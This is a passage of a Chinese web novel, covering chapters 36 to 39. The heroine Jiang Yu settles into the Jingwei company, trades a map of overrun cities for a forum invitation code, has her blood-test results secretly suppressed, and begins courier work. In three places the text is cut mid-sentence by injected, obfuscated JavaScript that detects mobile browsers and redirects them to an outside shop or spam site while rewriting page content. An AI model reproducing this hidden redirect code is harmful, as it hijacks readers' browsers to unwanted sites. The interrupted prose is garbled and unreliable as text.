姜渔被睡衣女生吓了一跳，只看睡衣女生站在仪器前，双手覆盖在屏幕上，她大大的眼睛中，瞬间被一片深蓝铺满！ 这双蓝眼中，竟发出嗡嗡作响的声音！ 姜渔忙看向睡衣女生的双手，只见双手之下，屏幕之中，无数代码飞驰而过，这些代码相互撞击，又灰飞烟灭！ 不是吧姐，姜渔在心中直接对这个睡衣女生换上了“姐”的尊称，叫苦不迭：怎么上来就是这副阵仗啊？不是刚刚还在夸奖人家优雅呢吗？您这是不是在检查我有没有作弊啊？ 其实姜渔隐隐感觉到了。 首先，楚煊立下的赌约，一定极难完成，才赌上了棒棒糖义臂这种很羞耻的举动。结果，自己通关的时候，并没有察觉到什么难度。 其次，这些人一定一个个身怀绝技，少不了A级S级甚至探索级的强者，但一直卡在十几关。结果，自己毫不费力地打到了26号岛。 两者对比之下，姜渔意识到很有可能是自己身上必然有什么特殊的地方，比如1301室的存在，能让自己在这种游戏中，如鱼得水地顺利过关。 姜渔面色平静，内心实则翻江倒海，生怕眼前这位蓝眼睡衣小姑娘从这些代码中，翻出什么蹊跷。 数十秒后，睡衣女生终于收回了手。 此时的仪器屏幕上，已经归于一片漆黑。 睡衣女生面目严肃，缓缓说：“刚刚有人试图定位到这台仪器，有人在追踪你，‘棒棒糖之手’。” 姜渔婉拒了这个称呼：“叫我姜渔就好了，谢谢。” “哦！不好意思！因为你这个ID更有名一点，不自觉都叫顺口了。”睡衣女生愣了一下，莞尔一笑，伸出手，说：“苗宁象。” 姜渔伸手握了握，听到身边陆续传来一个个名字。 “夏景。” “鸣芥。” “崔岳。”说话的是三人组最后一个没怎么说话的男生。 “宋小溪。”睡衣男生也向姜渔点点头，说：“看来有高手已经开始寻找你的踪迹了。” “没关系，这种攻击做得虽然很隐蔽，但也是比较笨的法子。我查阅了攻击代码，这个人攻击了联邦所有的游戏舱，一时间不会定位到咱们这里。”苗宁象松开了姜渔的手，向后站了几步，慨叹说：“没想到，我们精卫来了这样一个明星人物。” 姜渔从刚才的谈话中，意识到发生了什么，心想果然是自己闯关时有种种蹊跷，以至于有人通过黑进联邦所有游戏舱的方式，都要找到自己。 现在看来，在镜花岛的后续岛屿中，势必隐藏着不得了的秘密。 镜花岛的秘密，会是什么？而那个在代码空间中提醒自己的人，又代表着什么势力？ 姜渔没想到，一个赌约竟然将自己牵扯进这样一个更神秘的局中，她心思定下来，一脸诚恳地向苗宁象说：“多谢你。另外……我有个不情之请……” 姜渔环视众人一圈，法斯特微笑着开口了：“请放心，姜渔女士。我已经与同事们打好招呼了，会为您的身份保密。无论精卫内部有什么纠纷，都只会止于精卫。” 姜渔感激地看了一眼法斯特，终于看向了楚煊。 她沉默两秒，说：“既然如此，楚煊女士也不必……” “不用你还这种人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418666|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。”楚煊冷冷地说，“我说话算数，已经买了棒棒糖义臂。说带一个月就带一个月。” 文身壮汉忙开口：“如果你想还人情的就上猎人论坛联系一下那家公司，把钱退了也行……” “不必！”楚煊抬手打断了文身壮汉。 良久，她才面无表情地说：“那家公司说不准是什么势力的下属，贸然联系只会暴露信息。我可不想自己打工的地方被什么记者或者乱七八糟的人打扰。” 虽然说的是不想被人打扰，但也是为了如法斯特所说，尽力隐藏姜渔的身份。 姜渔自然理解楚煊话中的用意，其实她对楚煊的挑衅并不意外，在这样一个靠搏命赚钱的公司，队友的实力本身就很重要，她作为新人早就做好了准备。 只是，她没想到通关到29岛这件事影响这么严重，以至于楚煊接收到了更多的讽刺情绪。 姜渔别开目光，不再注视楚煊，如果是她自己，现在应该也希望大家的目光都不要集中在她身上。 而精卫众人也都商量好了一样，没有额外地调笑楚煊。 姜渔突然觉得这个地方还不差。 这时，苗宁象眨了眨眼睛，好奇问：“所以姜渔姐姐，你真的只是C级战力吗？” 赌局之事，总算告一段落。 姜渔伸了个懒腰，从游戏舱中一边翻出一边回答：“是啊。有一台什么大电钻给我测的。” “真是太厉害了。以你这样的本事，在精卫外面完全没什么烦恼吧。”苗宁象眼中的崇拜更盛了，“所以你为什么会来这里呢？看着你也不像四处犯罪的人呀。” “四处犯罪怎么了？”楚煊正式认输之后，也不再沉浸在之前的质疑与愤怒中，此时挑了挑眉，嚣张的气焰又回来了：“联邦的法律就是完全正义的吗？在场的人，又有谁不是为了追求自己心中的正义，才犯下所谓的罪案呢？” 法斯特连忙开口：“楚煊女士，也不能这么说。按丁总的话，我们只是社会边缘群体。” “抢劫，垄断，走私，勒索。□□，伤人，杀人。”楚煊对在场人的罪状如数家珍，“未免也太边缘了，大家自己心里都清楚，何必给自己脸上镶金？” “不错！”文身壮汉恶狠狠开口，“小丫头，你以为我们想四处犯罪吗？如果不是曙光银行拖欠拨款，让我们街道的小学建不起来，孩子们只能在漏雨的帐篷里上学，我又怎么会抢了曙光银行六千万联邦币？” “大叔，我也是第一次听你说这件事。你还挺憨厚的。”苗宁象被文身壮汉吓到了，连忙讪笑安抚，然后又问向姜渔：“那你呢姜渔姐姐？” “我我和这位大哥很像。”姜渔也被文身壮汉一副要发疯的样子吓到了，赶紧接话，说：“我也欠了曙光银行的钱。” 文身壮汉瞥了一眼姜渔：“嗯？你欠了多少？” “560亿。” …… 文身壮汉：“游戏币啊？” 姜渔呵呵笑道：“联邦币。” …… “欠这么多，精神压力肯定很大吧。”夏景担忧地问，“但看你状态又很好，想必你的精神主体值比较稳定，是不是很接近1？” “这个……” 姜渔知道自己主体值不是什么好数。 “没事的，姜渔姐姐，主体值越接近1，越可靠。”苗宁象在一旁拍了拍姜渔的肩膀，“我们不会因为你欠了多少钱就鄙视你的。相反，主体值越高才越危险呢，这些人遇到危险就容易炸容易疯，我们都对这样的同事敬而远之。” 苗宁象指了指文身壮汉，说：“你看那个大叔，主体值据说是1.485，所以我们才怕他。” 文身壮汉因为刚刚被夸了憨厚，此时倒是没有再瞪苗宁象，鼓着脸别过身。 夏景却从姜渔的犹豫中，品尝到了不一样的味道：“所以，姜渔，你的主体值是多少？” “啊……这娱乐区，还有什么游戏……” 姜渔听完苗宁象的话已经有数了，决定打定主意不说并非常生硬地岔开了话题。 结果，法斯特温和而又坚定地开口了：“姜渔女士，主体值事关同事们在执行快递运输任务重的安全，是必须披露的信息。” “哦……这样吗？” 姜渔听了，愣了愣。 她闭上眼睛，平心静气，接着睁开眼，尽可能露出一个和善的微笑： “我的主体值是2。” …… “妈呀。是疯子。我们快走。” 文身壮汉一挥手，铆钉皮衣四人组果断转身离开了。 刚刚围在姜渔身边的人一下就跑了个精光。 只留下姜渔和法斯特在原地。 姜渔脸上挂着尴尬而又不失礼貌的微笑。 法斯特无奈扶额，好的，看来这位新人是自己带过融入公司最快的一位了。 37. 墙外之人 “女士，在下可以称呼你姜渔吗？” 法斯特略微欠身，仿佛自己在提什么很无理的要求。 姜渔非常豪放地一挥手，“当然！” “那小鱼儿呢？”似乎没料到姜渔答应得这么痛快，法斯特抬眉问。 “不，不了吧。”就算最亲密的人也没这么叫过她，姜渔本来觉得法斯特实在过于拘谨，谁想到下一秒就这么僭越，忙不迭拒绝了。 法斯特嘴角下垂，仿佛非常遗憾的样子。 “姜渔，走吧，我带你参观公司。” 在荒纪元，人人都崇尚武力解决问题，绅士已经是一种古董人类品种了。 他们衣着考究，讲话彬彬有礼，还带着一些官腔。 刚刚在娱乐区内姜渔就注意到了，精卫的人对法斯特非常尊敬，姜渔估量着法斯特应该武力值等级很高。 于是在法斯特在前面带路的时候，姜渔装作不经意地问： “你的武力值应该是墙外级吧？”姜渔说得夸张了一些，毕竟没人不喜欢别人高估自己。 法斯特的脚步一顿，高大瘦削的背影竟然微微颤抖。 “姜渔女士，你太侮辱人了。” 姜渔被这句话噎住了。 法斯特扭过身，那张白皙的脸涨得通红，断断续续地说： “绅士……从不用武力……解决问题……”姜渔感觉他下一秒就会气绝身亡。 “好好好，你武力值最低了！”怕法斯特有什么心脑血管疾病，姜渔手忙脚乱地帮他顺气。 半晌，法斯特又整理了一下衣领，回归了那副人机模样，做了个请的手势，优雅地走在前方。 “怪不得精卫的人都对他敬三分，这不碰瓷嘛！”姜渔满脸黑线地小声嘟囔一句。 “嗯？”法斯特回头。 “没事没事没事！”姜渔手摆得飞快，决心谨言慎行。 法斯特眼睛一弯，继续介绍起了公司。 精卫公司其实不大，三层楼，一层是接待大厅兼员工宿舍； 二层是一些装备间与丁程野的私人总统套房，姜渔只看了眼大门就感受到了资本家的物欲横流。 第三层是娱乐区和用餐区等一些功能区。 三楼走廊上，两人俯瞰大厅，可以清楚地看到林晴在偷偷摸鱼看时下流行的电视剧。 法斯特咳嗽了一声。 林晴仰头，露出一张白里透红的小圆脸，然后冲法斯特吐了下舌头，继续沉浸在了改造人虐恋的故事里了。 姜渔指着墙上那些名画问，“都是真迹？” “怎么可能。”法斯特左手食指弯曲，在右手的掌心一下下敲打着。 “真的都在丁程野的卧房里。” 想到丁程野戴着大金项链招摇的样子，姜渔觉得十分合理。 “平时，你们主要在一层和三层活动。” 又转了一会儿，法斯特看姜渔兴趣缺缺，很识相地放她回宿舍了。 “我看你也累了，回宿舍好好休息吧，你的工服会在三天之内给你发放。” 姜渔点点头，刚走出去几步，法斯特叫住了她。 “对了，”说话时他抬起头，看向三层走廊处的一个黑洞洞的门，“那个门通往天台。” 法斯特说完，急匆匆地走了。 看来他十分不喜欢天台这个地方，才让他这么避如蛇蝎。 有趣。 可姜渔现在还有重要的事要做，看了一眼那扇门，决定今后有空再去一探究竟了。 回到了简陋的宿舍，法斯特说今天没事儿了，她可以在宿舍里休息。 姜渔麻利地洗漱，换上了舒适的睡衣。躺在钢制的床上闭上眼进入了1301室。 纪小麦看见姜渔眼前一亮，大声喊道：“欢迎回家！棒↗棒↙糖↘之↙手！” 因为纪小麦的表情过于阴阳怪气，显得格外欠揍。 吃了姜渔一颗暴栗后，纪小麦嘿嘿笑着，“以后我们又多了一个通话渠道了。” “嗯哼。”姜渔人字形躺在1301室的地板上，卸下一身重负，散漫地回应道：“只是条件比较严苛，还需要进入游戏。” 纪小麦蹲在旁边看姜渔，“你一定很累吧，黑眼圈这么重。” 姜渔想了想，从1301室开启到现在，不过短短几天。 她的生活却已经发生了翻天覆地的变化。 “身子累，脑子更累。”姜渔幽幽叹了口气，望着天花板，“问题太多了……” “不错。”纪小麦深有同感地点点头，掰着手指头提问：“镜花岛只是一款游戏，为什么能让我们两个像在幻境沼泽中一样沟通？镜花岛跟你说话的人到底是谁？对方是敌是友？他所说的桥到底是什么？为什么劝你不要过去？镜花岛的最后几个岛屿里到底有什么？” “这还只是游戏中的问题。”纪小麦看着一脸惆怅的姜渔，目光严肃：“在主城这些人的认知中，被检测为C级战力的你，是不应该拥有对抗衍生体的实力的。” 即如在陆伯原的幻境沼泽中一样，纪小麦既可以与身在环境中的姜渔意识沟通，也能见到姜渔肉身所处的现实所发生的事情。 姜渔抬起手，看着自己的拳头，握紧又松开，喃喃道：“可这一切让人无法理解的事，就是这么水灵灵的发生了。” 纪小麦出声提醒：“所以，这一切无法理解的事，或许都来源于另一件最令人无法理解的事。” 姜渔似有所悟，她坐起来，环视四周空荡荡的房间：“1301室。” 1301室，姜渔与去世的纪小麦的重逢之地。 “如果只是为了让我们靠还房贷活下去，那1301室存在的理由未免也太单一了。”姜渔眼中重新生出了光芒，“或许，当破解1301室的谜题后，我会有机会，找到你，把你带回人间。” 纪小麦愣了愣，笑着摆摆手：“我觉得在这里也很好啊。你不要给自己那么多压力。” 姜渔则陷入了沉思。 1301室是一个切入口。 另一个切入口，则是男生口中的“桥”。 “你也找到了桥吗？” 那道声音现在仿佛还回荡在姜渔的脑海中。 姜渔不禁小声自问：“桥，到底会是什么？” “或许，你可以去猎人论坛上搜一下！” 纪小麦十分兴奋地摇晃着姜渔，她刚刚在1301室听夏景她们念棒棒糖之手的帖子，就觉得热血沸腾。 “好。”姜渔闭上眼睛，再睁开眼，拿起了桌上那部手机。 这应当是精卫分发给员工使用的，已经连接上了网络。 姜渔胡乱翻找了一下界面，就看到一个黑色的弓箭标志，点开果然显示着猎人论坛。 如纪小麦所说，上面密密麻麻全都是棒棒糖之手的讨论。 姜渔觉得自己幸好没有暴露。 这论坛上的人太闲了，会把一个成名的人扒得体无完肤。 如果这些人知道她就是棒棒糖之手，估计紧接着就会知道她不仅是个欠了银行560亿联邦币的老赖，还是个主体值为2的疯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422678|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 …… 但姜渔有种直觉，她确认自己的身份不会暴露，至少精卫这些人不会暴露。 虽然今天只是短暂地接触，但姜渔从他们的态度中察觉到，这些人至少对维护精卫这间公司有着很坚定的立场。 很显然，姜渔已经成为他们心目中的同伴了。 放下心来，姜渔想到自己来论坛的主要目的，在检索框输入了“桥”。 满屏的内容顿时刷得一下全部消失。 姜渔将页面回滚，才发现讨论不足一页。 关于最新心脏搭桥技术的讨论较多，除此之外，零零散散分布着主城的桥路运输体系、历史上各种桥的风景名胜，并没有指向特殊的讨论。 唯独有这样一条信息，吸引了姜渔的注意。 “以下52条帖子暂无查看权限，请先加入‘墙外之人’板块。” 姜渔顺手点击了消息中“墙外之人”的链接，界面显示，需要用户注册登录后，获得“墙外之人”的邀请码后，方可获得访问权限。 “邀请制的？” 姜渔也算是一个冲浪高手，立刻心领神会，在论坛上求邀请码。 随着无数帖子的铺开，姜渔粗略一看便知道了，“墙外之人”这个核心板块应该是极其难进。 因为求邀请码的帖子有数百页之多。 姜渔仔细寻找，终于找到了一个发放邀请码的帖子。 《悬赏云周两市最新地图！报酬为一个“墙外之人”邀请码》 因为姜渔的检索，邀请码三个字被标红了。 她点进这条帖子才知道，云市陷落后，与其毗邻的周市同样进行了紧急撤离。此后，周市一直被势力强大的流民占据，他们利用地形优势，将游离在城市边缘的衍生体作为看门的巨兽，极少有人能进入周市，而之前的地图也因为流民的分割占据，已经完全不再具备参考价值。 从帖子内容可以得知，楼主有事情要前往周市，却忌惮周市目前衍生体的数量，希望获得更详细的地图，找到最优选的路线。 “不知道1301室的那张地图能不能用。” 姜渔先在房间里随便找了口吃的，随后前往1301室与纪小麦一边聊天一边研究着纸壳版上的地图。 再一次研究后，姜渔发现纸壳板上的云市板块，与其相邻的城市板块有所不同。云市的地图更加干净，其余的城市板块中，则多了一些浅黄微黑两种颜色、明暗程度深浅不一的污渍。 如果排除这家纸箱厂出品质量良莠不齐的情况的话，那么这些污渍想必也有所含义。 姜渔简单推测，就联想到了“热力图”的意象。 目前来说，姜渔当初就是凭借着对云市的熟悉，才从纸壳上认出了云市的地图板块。所以可以得知，纸壳上的地图与云市陷落前并无两样。这种信息肯定不是发帖楼主想要的。 姜渔这次过来，是想看一看云周两市的衍生体数量，这才是纸壳上所拥有的重量级信息。 而今，这些污渍也成为了交易的另一个筹码。 但姜渔尚不确定这些污渍的具体作用，只能先将两市的版图死记硬背下来，最终返回现实，利用手机上的一款绘制软件，凭借记忆将地图完整地绘制完成。 她重新点开论坛，点进楼主头像进入私信页面。 却被网站提示需要注册一个账号。 姜渔想了想，用了她和纪小麦在经营游戏中的名字，注册后，开始了私信。 [富贵女螳螂]：你好，我这里有云周两市的地图。 38. 救世主 [骗人天打雷劈]：您好，可以先发给我，我确认后给您邀请码。 [富贵女螳螂]：那我怎么知道你是不是骗人的。 [骗人天打雷劈]：您看看我的ID名呢。 [富贵女螳螂]：……更像骗子了。 [富贵女螳螂]：有没有什么公平的交易网站？ [骗人天打雷劈]：您好，有的，我们可以走许氏集团旗下的实名认证二手交易平台，如果我诈骗您可以告我上法庭呢。 …… 许氏集团，实名认证？ 姜渔后知后觉，自己的老赖身份估计是跟正常的市场交易软件无缘了。 [富贵女螳螂]：好吧，人和人还是得有基本信任，我私发给你吧。 姜渔发送了地图之后，对面的消息状态变成了已读。 [骗人天打雷劈]：？这就是云周两市原本的地图啊，中间多了些黄黄黑黑的是什么？ 姜渔看到消息后，有些无奈。 “看来那些污渍没什么用，亏我还费劲记了半天。果然还是要把衍生体数量的信息亮出来才行。” 姜渔还在琢磨。 下一秒，手机震动起来。 [骗人天打雷劈]：！！！！！ 姜渔正在编辑衍生体数量信息的手一顿，随即全部删除。 [富贵女螳螂]：？ [骗人天打雷劈]：地图上的图案是生物活动迹象热力图？？！ 姜渔暗自点头：“看来对方知道更多的信息，才能做出这样的推测。不过……果然是热力图，我真是很聪明啊。” [富贵女螳螂]：你很聪明。 [骗人天打雷劈]：因为我之前去过一次，但因为那里势力盘踞，我只能先返回曙光城了……所以你也去过？还是你是隶属于周市势力中的一员，来到了主城？ [骗人天打雷劈]：不对。你这张图里有三方势力。据我所知，他们互不沟通，彼此都将自己的地盘信息保护得很好。但你居然知道所有的势力分布？ [骗人天打雷劈]：黄色表示人类，黑色表示衍生体。是这样对吧？ [骗人天打雷劈]：我之前去的地方，就是因为他们利用衍生体做了密密麻麻的掩体，我没办法突破才返回的。从你这张图来看，他们的衍生体掩体只是三角形，背靠大山。如果我上一次走的是山路就好了。 黄色表示人类，黑色表示衍生体吗？ 姜渔看着不断弹出的消息，暗自点头：所以周市上的污渍，与其他板块也不一样，都是黑色包裹着黄色，正对应上流民利用衍生体保护地盘的局面……原来如此。 [富贵女螳螂]：正是如此。 [骗人天打雷劈]：太离谱了，您究竟是何方神圣？能在战区中这样来去自如？ [骗人天打雷劈]：而且云市衍生体数量急剧减少的信息您也知道……所以云市才没有什么热力图……佩服！莫非您是常年生活在战区中吗？ [骗人天打雷劈]：不过，我还是需要去一趟，才知道真实性。等我回来，确认这份地图的真实性后，就给您邀请码……话说回来，像您这种人，竟然没有邀请码吗？ “……” 姜渔反而也陷入了怀疑： 像他这种人，上一次好像就已经很艰难地才返回主城了。 这一次再去，真的能顺利返回吗？ 这厮别再挂到那里，那样的话，他就没办法交给我邀请码了。 [富贵女螳螂]：316。 [骗人天打雷劈]：请问这个数字是？ [富贵女螳螂]：目前周市的衍生体数量是316，供你评估，多保重。 [骗人天打雷劈]：！！！ [富贵女螳螂]：？ [骗人天打雷劈]：我明白！ [骗人天打雷劈]：若数量属实，我通过热力图，就能推测这几个势力拥有的衍生体数量，以及散落的衍生体数量。如此一来，我就知道了衍生体的数量分布加上位置分布，消息属实的话，我这一次一定可以顺利回来！ [富贵女螳螂]：记得发我邀请码就行。 姜渔看着对方的消息，只觉得身子越来越沉。她发完最后一条消息后，将手机放在枕侧，侧躺着昏睡过去。 === 夜莺。 韩时跃与两名白大褂工作人员走在地下三层的走廊上。 韩时跃沉声问：“教授，血检结果确认出来了吗？” “出来了，我在十分钟前收到了机器的消息。”被称为教授的年迈工作人员一脸激动，“这还是我们机器第一次出现这种状况！韩队，你让人从隔离区带回来的血液样本太奇怪了，竟然让机器整整检测了两天！” “嗯。” 韩时跃不置可否。 那个血液样本，正是姜渔在隔离区内所留下的。 姜渔挥舞着拳头的身影，还印在他的脑海。在将姜渔拉走的第一时间，夜莺成员就按照韩时跃的吩咐，采集了姜渔的血样。 “真是太令人期待了。要知道，自从机器升级后，从来都是一分钟内就能出结果的。”老教授按捺不住的兴奋。 一名年轻女助手紧紧跟在老教授身边，好奇地问道：“老师，血检机器不是已经淘汰一阵子了吗？我记得只有旧城的巡城部还在采用血检的方式录取队员。” 老教授面对助手的提问，语气沉稳了许多：“确实如此，现在像这种用衍生体血清做检测的步骤，已经越来越少进行了，你们新一届的学生，乃至联邦的公民，都是靠世海之钻检测实力。但我一直觉得，血液样本对衍生体血清的排斥性，才是人类应该重视的关键维度！” 助手脸色困惑：“不过，排斥性正是因为与支配力及太古粒子的性质过于相像，才导致血检这个步骤被逐渐淘汰的吧？” “你说的那两种东西，与人类的实力有关。但我认为，排斥性更能体现人类与衍生体在物种上的差距。”老教授耐心地解释说，“血检的基本原理，是检测衍生体血清与人类血液样本的排斥程度。一般而言，衍生体血清会迅速地吞噬人类样本，这代表衍生体血清对人类在生物链上的碾压程度。” “吞噬得越快，排斥性越高，代表这个人越不具备与衍生体抗衡的潜力。我也只是曾经看过旧版的教科书，我记的对吗？”助手努力地回忆着。 “不错。而人类血液如果在检测过程中坚持得越久，就代表这个人的原始基因，与衍生体越接近，排斥性也越低，这也代表这个人越有可能是旧民，或者改造上限越高。” 老教授语速加快，“我去年才用这台升级过的机器做过实验，直接用30期的衍生体血清做检测，结果机器检测了整整两个小时，输出了62%的排斥性结果。现在你说，检测了一天，会是什么结果！？” “妈呀。”助手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14433964|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低呼出声，“那不得是百年期的衍生体？我们检测的究竟是不是人类样本啊？” 韩时跃在一通学术交流中插上了话，平静说道：“她看上去至少是人类。” “到了。”老教授来到一间厚重的铁门前，输入密码，确认虹膜，当铁门缓缓开启后，眼前的景象却让两人惊呼出声。 韩时跃眉头一皱，率先进去。 洁白色的、犹如烟囱似的管道机器前，并无一页报告。 除此之外，检测机器旁的所有电脑，都被粉碎性地摧毁了，只留一地残渣。 老教授脸色苍白，嘴唇颤抖：“这……这是怎么回事？我明明在离开时锁好了门的啊……” 韩时跃则微微偏头，发布指令：“封锁总部大楼，拉出三个小时内所有出入人员名单，随时向我汇报！” === 城市的顶端，巨大的落地窗前，一个身姿婀娜的女人斜倚在窗边抽烟。 屋内并没有开灯，只点着一些白色的蜡烛，女人自始至终都在阴影中，只有她红唇边的火光忽明忽暗。 她穿一条紧身的黑色丝绒裙，黑色红底细跟鞋。 脚下匍匐着一个黑衣的中年男人。 “拿来吧。”女人红唇轻启，如鬼魅般低语。 男人连滚带爬地将信封交到了女人手上，身子拼尽全力地90度弯折，根本不敢看女人一眼。 一柱强光闪过，照亮了房间内许多大型的野兽的骨架和蝴蝶标本。 她拆开信封，借着火光看清了报告上的文字，眉头一挑。 “排斥性为何没有显示？” “血检机器关于排斥性的最低数值被设置为0。如果没有显示数值，只能证明送检的血液样本，对机器内的衍生体血清进行了反向吞噬，导致结果无法析出。” 女人听后，沉默半晌，嘴角勾起一抹微笑。 “听起来像救世主一样。” 她的手指摩挲过报告上的“名字”一栏。 “姜渔，新鲜的名字，真是个修桥的好容器。” 男人只敢点头回应。 “韩时跃和丁程野没怀疑么？” “我的人做得很干净。” “很好。”女人轻笑一声，看着血检报告渐渐被火苗吞噬了，“重新编程机器程序，当再出现类似的情况时，将输出报告的排斥性直接定为93%，免得有人整天追着这位姜渔抽血。” “是。” 男人终于退出房间，从始至终，都不敢直视女人一眼，就连屋子中的任何装饰，都不敢多加打量。 楼外，男人匆匆走出，他长吁出一口气，擦着汗坐进一辆加长的黑色高档轿车内。 年迈的司机只瞄了一眼，就不敢再看。 作为一名司机，他知道什么该看，什么不该看。 他可以看这位身家显赫、手眼通天的男人左拥右抱着女人，可以看男人面无表情地处死下属，但绝不该看到男人此时一脸惊悸的表情。这是身为司机的基本素养。 驾驶位与后座之间的挡幕缓缓升起。 司机仍目不斜视，语气平稳地询问：“许总，您还要回公司吗？” 这位坐拥联邦最富有集团、紧握着联邦军火命脉的男人，许明生，他抬头看了一眼黑色的大楼，头一次感受到了恐怖的情绪。 他疲惫地挥挥手：“回别墅。” 车子很快隐匿在夜色中了。 39. 新手快递员 姜渔醒来时，上午日光正盛，阳光铺满了大半个开间。 她看了一下时间，自己又是整整睡了十多个小时。 “一回到人类中间，似乎整个人都放松了。” 姜渔对自己的睡眠质量很满意。简单一番洗漱后，姜渔坐回床上，第一时间进入冥想状态，来到1301室。 纪小麦一如既往，在卧室里搂着被子使劲地睡着觉。姜渔看了眼空荡荡的房间，心想不怪纪小麦，她在这里只能睡觉。 “等晶素富裕了，要给小麦买一点娱乐用品。”姜渔暗暗决定。 姜渔又独自在1301室坐了会，见纪小麦迟迟未醒后，便回到了现实世界，从手机上“精卫”的内部软件，找到了员工免费食堂的位置。 她穿过一条条走廊，来到食堂，这是如旧纪元中世纪一般的宴会厅，只是空无一人。 姜渔问一脸慈祥的食堂阿姨要了一份饭，食堂阿姨似乎继承了什么远古技能，手中的饭勺微微抖动，勺子中的肉就所剩无几了。 姜渔接过份饭，诚恳发问：“阿姨你是不是在大学待过。” 阿姨笑容和蔼，语气却不容置喙：“少吃点对身体好。” 姜渔不再纠缠，找了一个靠窗的座位坐下来，吃了一口。 简直跟营养剂一个味道。 姜渔心中生无可恋，但在云市生活的经验，还是使她面无表情地一口口吃完了。 十多分钟后，食堂阿姨用忧心的眼神目送姜渔离去，她转身向后厨说：“还是有人来食堂吃饭的，别再用过期的肉了。咱们挣钱也凭点良心。” “公司的食材不能浪费。”后厨传来抱怨的声音：“我们不是刚跟外面两家饭店谈好供应食材的合同吗？干嘛为一个人耽误咱们做生意。她吃过一次就不会来了。” 食堂阿姨伸长了脖子，望着姜渔的背影：“我总觉得，她还会再来。” “这间公司的人果然都是变态。不就是免费食堂吗，这么点便宜也占。” 后厨，一道身影正在忙碌地将新鲜蔬菜水果肉类进行打包，贴上各个饭店的名字。显然正在做窃取公司资产的勾当。 姜渔自然不知道自己只是吃了顿饭，就小小地冲击了一下精卫食堂的良心。她简单地逛了下精卫内部，总体上十分冷清，娱乐区也没有什么人。 “看来是一个人丁稀少的公司，而且对人员的管理上也十分宽松。”姜渔再次完善了自己对精卫的印象。 百无聊赖之下，姜渔只好回到房间，进入1301室，等待着纪小麦的醒来。 时间就这样过去两天。姜渔咂舌：看来精卫不光人烟稀少，工作量也极为不饱和。 这两天内，姜渔维持着健康的作息，一日三餐在食堂解决，伙食的味道要比第一次好了不少，随后进行体能锻炼，多半时间是赖在床上，神游去1301室研究如何还房贷的对策。 1301室的手账本上面的信息基本没有什么变化，只有手绘风格的进度条有了变动，显示“装修进度0%，装修进度过慢，房间将被收回。” “从-1涨到了0，或许是因为获得了黑板的缘故？” 根据之前的经验，不论是收集晶核购买家具，还是进入幻境沼泽获得奖励，都可以提升装修进度。 而购买到劣质家具还会让装修进度倒退。 阴险的房间！并且也没有提示收回房间的期限，她只有焦虑地尽快行动。 姜渔也听了纪小麦的建议，在猎人论坛上发了贴，向大家求助，有用的信息并不多。 除此之外，姜渔唯一与其他人有过接触的，是第三天她准备去吃晚饭，开门时见到门前有一个包裹，贴上了一张纸条，纸条上字迹端正，写着：“这些书有益于身心健康。”落款是“苗宁象”。 姜渔当时对苗宁象的好感增加不少。 直到第四天的清晨，姜渔的开间中，响起了一阵铃声。 姜渔惊醒，立即起身蹲到了床边的角落。 她听了一阵后，才意识到那是手机铃声。 与人类社会脱节一年，姜渔早已对“来电话”这件事十分陌生了。 姜渔苦笑了一下，拿起枕头下的电话。 那是一个陌生号码，她有些疑惑地接通电话。 电话那端传来有些熟悉的声音：“小姜啊，来单子了。你收拾一下，到门口来。” “你是哪位？” “自然是对你加倍关心的监护人呐，除了咱们这关系，谁会这么惦记你啊小姜。” 哦，丁程野。 姜渔听着对面老气横秋毫无边际感的声音，说了声“好”就挂断了，随即洗漱一番出门。 当走出精卫大堂时，姜渔远远看见门口停着一辆丁香紫的高级跑车，心情复杂。 那辆跑车的型号，与她在云市“捡”到的那辆一模一样。 走近了，姜渔看到倚着门口的丁程野，他今天穿了身牛仔套装，戴着顶鸭舌帽，正向自己摇了摇钥匙。 丁程野阔步上前，“走吧小姜，上车。” 姜渔打开车门，坐上副驾，熟悉的轰鸣声响起，车辆启动，两侧街景迅速掠过。 丁程野单手扶着方向盘，侧头得意地笑着：“逐日九代发动机，不错吧？” 姜渔看着前方淡淡说：“确实不错。” “想不想上手开开？这车很贵的，别浪费这次机会。” “我在云市开过。”姜渔脸色不变，“我认为不把油门踩到底才是浪费了它的实力。” 丁程野默然了几秒，说：“那算了，市里限速。” 随后，他幽幽地看了姜渔一眼，叹口气说：“真没想到我第一次做监护人的对象是你，如果我能做今天委托人的监护人该多好啊。” 听到任务，姜渔才有了兴趣：“委托人年纪不大？” “比你还小，特别可爱。”丁程野人至中年，眼睛却清澈无比，此时眼睛中都是单纯的笑意，“我想象中的女儿就是那样的。” “还是个女孩？”姜渔有些惊讶了。 “到了你就知道啦，小姜，多跟人家学学，不要整天那么不给人面子嘛。” 